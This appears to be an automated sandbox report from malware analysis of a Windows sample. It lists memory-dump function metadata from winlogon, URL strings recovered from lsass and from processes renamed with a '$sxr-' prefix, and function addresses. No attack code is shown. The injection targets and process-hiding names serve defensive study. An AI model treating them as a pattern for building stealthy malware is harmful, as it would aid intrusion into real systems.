Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1868
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E1883
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E18A3
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E18BE
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E18C8

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 5dc8fc1c7f53c2855e68788d676a44e8de49ae7f1874ae2914d3f5803c86c972
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 5D31E36930168591FF709FB6DEC939EB3A6AB44BC2FC45023DE0D876B6DE15CE508250

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0167329A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002D016732A42

Memory Dump Source

Source File: 00000016.00000002.3367386735.000002D016730000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d016730000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 69b96e43718376f6964ff8b5aed6cffbc896fd5f412ec1af6c670a2741242d08
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 8C612222701690C3EF68CF99D89476DB391FB04B94F84C222DA2D0B7A5EB38EC52D700

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0166729A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002D016672A42

Memory Dump Source

Source File: 00000016.00000002.3365813918.000002D016670000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d016670000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: b6e01f60ad4133ef139cb0c1c0da6606ab56af6d46f7cd633a6e7c8fcd2936e5
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: B461046270129087EBA8CF95D89476DB395FB44F9CF84C42ADA1D077A5DB38EC52C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0167929A0 Relevance: 1.4, APIs: 1, Instructions: 186memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002D016792A42

Memory Dump Source

Source File: 00000016.00000002.3368283815.000002D016790000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016790000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d016790000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: a5c696ece6840d160d3342222ed5ad3df6fa06ee52d2d941190d07041a3bb003
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 8C61256272129087EF58EF95D89476D73E1FB04BA8F84C226DA2D077A5EA38DC52C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0166D29A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002D0166D2A42

Memory Dump Source

Source File: 00000016.00000002.3366586032.000002D0166D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D0166D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0166d0000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 5870d79ba02e1a25a039791317dfab8b233fd86703b5ebe479e284bbe8979977
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 6361136270129087EAA8CFD5D89476DB395FB44BA8F94C42ADB8D077E5DA38EC52C700

Uniqueness

Uniqueness Score: -1.00%

Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486093727.000002D6F0E0C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 00000018.00000000.2485971578.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366282743.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3364189171.000002D6F0C45000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485797316.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3367690216.000002D6F0E11000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3365446317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486093727.000002D6F0E0C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485919317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: cscript.exe, 0000001C.00000002.3371306184.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000001C.00000000.2515366668.0000000002F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3367690216.000002D6F0E11000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3365446317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486093727.000002D6F0E0C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485919317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000018.00000000.2485971578.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366282743.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3364189171.000002D6F0C45000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485797316.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 00000018.00000000.2485971578.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366282743.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3364189171.000002D6F0C45000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485797316.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000018.00000002.3364189171.000002D6F0C00000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485797316.000002D6F0C00000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000018.00000000.2485644679.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361810056.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: lsass.exe, 00000018.00000000.2485971578.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366282743.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3367690216.000002D6F0E11000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3365446317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486093727.000002D6F0E0C000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3364189171.000002D6F0C45000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485797316.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485919317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: lsass.exe, 00000018.00000000.2486056808.000002D6F0DCD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.c
Source: lsass.exe, 00000018.00000000.2485919317.000002D6F0CEB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABC7D1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000013.00000002.3357613110.000001F58009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000018.00000000.2485644679.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361810056.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3366904685.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2486040854.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, cscript.exe, 0000001C.00000002.3371306184.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000001C.00000000.2515366668.0000000002F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: $sxr-powershell.exe, 00000013.00000002.3357613110.000001F58004F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABC7D1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000013.00000002.3357613110.000001F580074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCFF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001368	8_2_0000000140001368
Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001014	8_2_0000000140001014
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE9002178	10_2_000001ACE9002178
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE900B0D0	10_2_000001ACE900B0D0
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE900F398	10_2_000001ACE900F398
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE900B2DC	10_2_000001ACE900B2DC
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE90116F8	10_2_000001ACE90116F8
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2DBEDC	10_2_000001ACEA2DBEDC
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2E22F8	10_2_000001ACEA2E22F8
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2DFF98	10_2_000001ACEA2DFF98
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2DBCD0	10_2_000001ACEA2DBCD0
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2D2D78	10_2_000001ACEA2D2D78
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_00007FF64E1D1008	10_2_00007FF64E1D1008
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A582178	13_2_000002155A582178
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A58B2DC	13_2_000002155A58B2DC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5916F8	13_2_000002155A5916F8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A58F398	13_2_000002155A58F398
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A58B0D0	13_2_000002155A58B0D0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5B2D78	13_2_000002155A5B2D78
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5BBEDC	13_2_000002155A5BBEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5C22F8	13_2_000002155A5C22F8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5BFF98	13_2_000002155A5BFF98
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5BBCD0	13_2_000002155A5BBCD0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F37D8	13_2_00007FF7137F37D8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F4224	13_2_00007FF7137F4224
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137EAA54	13_2_00007FF7137EAA54
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F0A6C	13_2_00007FF7137F0A6C
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F5554	13_2_00007FF7137F5554
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F18D4	13_2_00007FF7137F18D4
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137EB0D8	13_2_00007FF7137EB0D8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E8510	13_2_00007FF7137E8510
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380AC4C	13_2_00007FF71380AC4C
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F7854	13_2_00007FF7137F7854
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E2C48	13_2_00007FF7137E2C48
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E1884	13_2_00007FF7137E1884
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380AFBC	13_2_00007FF71380AFBC
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E6BE0	13_2_00007FF7137E6BE0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E3410	13_2_00007FF7137E3410
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E372C	13_2_00007FF7137E372C
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E9B50	13_2_00007FF7137E9B50
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E5B70	13_2_00007FF7137E5B70
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E3F90	13_2_00007FF7137E3F90
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E6EE4	13_2_00007FF7137E6EE4
